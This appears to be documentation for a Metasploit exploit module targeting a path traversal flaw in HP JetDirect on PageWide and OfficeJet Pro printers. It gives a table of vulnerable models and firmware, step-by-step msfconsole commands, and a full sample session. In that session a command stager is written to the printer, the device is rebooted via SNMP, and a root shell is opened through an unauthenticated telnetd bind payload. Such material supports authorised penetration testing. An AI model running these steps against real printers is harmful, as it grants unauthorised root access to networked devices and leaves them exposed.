William Vu
3.8 KiB
Vulnerable Devices
Impacted printers have a firmware version below 1708D.
| Product Name | Model |
|---|---|
| HP PageWide Managed MFP P57750dw | J9V82A, J9V82B, J9V82C, J9V82D |
| HP PageWide Managed P55250dw | J6U55A, J6U55B, J6U55C, J6U55D |
| HP PageWide Pro MFP 577z | K9Z76A, K9Z76D |
| HP PageWide Pro 552dw | D3Q17A, D3Q17C, D3Q17D |
| HP PageWide Pro MFP 577dw | D3Q21A, D3Q21C, D3Q21D |
| HP PageWide Pro MFP 477dw | D3Q20A, D3Q20B, D3Q20C, D3Q20D |
| HP PageWide Pro 452dw | D3Q16A, D3Q16B, D3Q16C, D3Q16D |
| HP PageWide Pro MFP 477dn | D3Q19A, D3Q19D |
| HP PageWide Pro 452dn | D3Q15A, D3Q15B, D3Q15D |
| HP PageWide MFP 377dw | J9V80A, J9V80B |
| HP PageWide 352dw | J6U57B |
| HP OfficeJet Pro 8730 All-in-One Printer | D9L20A |
| HP OfficeJet Pro 8740 All-in-One Printer | D9L21A |
| HP OfficeJet Pro 8210 Printer | D9L63A, D9L64A |
| HP OfficeJet Pro 8216 Printer | T0G70A |
| HP OfficeJet Pro 8218 Printer | J3P68A |
Verification Steps
- Start msfconsole
- Do:
use exploit/linux/misc/hp_jetdirect_path_traversal - Do:
set rhost <hostname> - Do:
exploit - You should get a shell.
Scenarios
HP OfficeJet Pro 8210 Printer
The following demonstrates the exploit against a vulnerable printer model.
When the user is finished with the command shell session, they press control-c and
respond yes to abort the session. This action sends the CommandShellCleanupCommand
of the cmd/unix/bind_busybox_telnetd payload to the server in order to kill
telnetd that was used to get the command shell.
msf > use exploit/linux/misc/hp_jetdirect_path_traversal
msf exploit(linux/misc/hp_jetdirect_path_traversal) > set rhost 192.168.1.107
rhost => 192.168.1.107
msf exploit(linux/misc/hp_jetdirect_path_traversal) > exploit
[*] 192.168.1.107:9100 - Exploiting...
[*] Started bind handler
[*] 192.168.1.107:9100 - Connecting to port 9100...
[*] 192.168.1.107:9100 - Attempting to write command stager...
[+] 192.168.1.107:9100 - Successfully wrote command stager to 0:/../../rw/var/etc/profile.d/dLDZtDsh.sh
[*] 192.168.1.107:161 - Connecting to SNMP port 161...
[*] 192.168.1.107:161 - Initial value of prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 3
[*] 192.168.1.107:161 - Attempting to restart printer via SNMP...
[*] 192.168.1.107:161 - Set prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 4
[*] 192.168.1.107:161 - Current value of prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 3
[*] 192.168.1.107:161 - Printer restarting...
[*] Command shell session 1 opened (192.168.1.101:38141 -> 192.168.1.107:4444) at 2017-12-31 21:09:40 -0600
[root@HPC2A3FB ]# id
id
uid=0(root) gid=0(root)
[root@HPC2A3FB ]# uname -a
uname -a
Linux HPC2A3FB 3.14.32 #001.1614A Wed Mar 30 16:58:30 PDT 2016 armv7l GNU/Linux
[root@HPC2A3FB ]# ^C
Abort session 1? [y/N] y
[*] 192.168.1.107 - Command shell session 1 closed. Reason: User exit
msf exploit(linux/misc/hp_jetdirect_path_traversal) >
Notes
The shell cleanup command should result in the payload automatically terminating
the telnetd service as the session completes. However, intermittent behavior was
observed and the source has not been identified. When closing a session please
verify, via a port scan or other desired method, that the port is no longer open.
If the port remains open, then the unauthenticated telnetd service is still running.
Establish a connection to the unauthenticated telnetd service and manually terminate
the process (pkill telnetd) to avoid leaving the host more insecure.